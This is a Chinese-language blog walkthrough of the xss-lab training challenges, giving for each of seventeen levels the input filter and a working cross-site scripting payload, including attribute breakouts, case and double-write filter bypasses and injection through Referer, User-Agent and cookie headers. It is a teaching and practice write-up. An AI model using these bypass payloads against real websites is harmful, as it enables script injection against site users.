web学习 xss-lab

发布于 2021-05-24  1528 次阅读


项目地址

xss-lab

level1

没有过滤。

<script>alert('1');</script>

level2

有两处,一处尖括号被转义了,一处作为input标签的value值,使用双引号和尖括号闭合input标签即可。

"><script>alert('1');</script><"

level3

input处的尖括号也被转义了,用单引号闭合,用onmouseover来触发JavaScript代码。

' onmouseover='alert('1')

level4

双引号闭合

" onmouseover="alert('1')

level5

过滤了on和script,但是input处的尖括号没有转义了,可以使用a标签

"><a href="javascript:alert(/xss/)">xss</a>

level6

大小写绕过

"><a Href="javascript:alert(/xss/)">xss</a>

level7

直接将一些关键词删除,可以双写绕过

"><a hrhrefef="javascscriptript:alert(/xss/)">xss</a>

level8

过滤了很多,先是将字符转换为小写,然后过滤特殊字符和双引号,最后又加了一个转义函数。

因此我们只能利用他的a标签,然后对其编码一下。

javascript:alert('1')

level9

会检测是否存在字符串 http:// ,在最后加上,然后用双斜杠过滤。

javascript:alert('1')//http://

level10

有一个name为t_sort的input标签,接收get请求的参数t_sort作为value值。

?keyword=Good&t_sort=xss" onclick=alert('1') type="text"

level11

源码中有如下代码,利用hackbar修改REFERER头进行xss攻击。

$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<input name="t_ref"  value="'.$str33.'" type="hidden">

闭合双引号使用 onmouseover 触发xss。

" onmouseover=alert('1') type=text"

level12

利用hackbar修改user-agent头进行xss攻击。

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<input name="t_ua"  value="'.$str33.'" type="hidden">

闭合双引号使用 onmouseover 触发xss。

" onmouseover=alert('1') type=text"

level13

利用hackbar修改cookie进行xss攻击。

$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<input name="t_ua"  value="'.$str33.'" type="hidden">

闭合双引号使用 onmouseover 触发xss。

" onmouseover=alert('1') type=text"

level14

本关似乎因为iframe调用的文件地址失效,无法进行测试。要考的应该是通过修改 iframe调用的文件来实现xss注入。

level15

g-include 指令一般用于包含外部的 HTML 文件,可以用它来包含一个存在漏洞的文件。

?src='level1.php?name=<script>alert(1)</script>'

level16

空格、反斜杠、script都被str_replace函数替换成&nbsp。

HTML中可以将%0a或者%0D当成空格使用。

<svg%0aonload=alert(1)>

level17

将arg01和arg02的结果用=拼接

?arg01=onclick&arg02=javascript:alert(/xss/)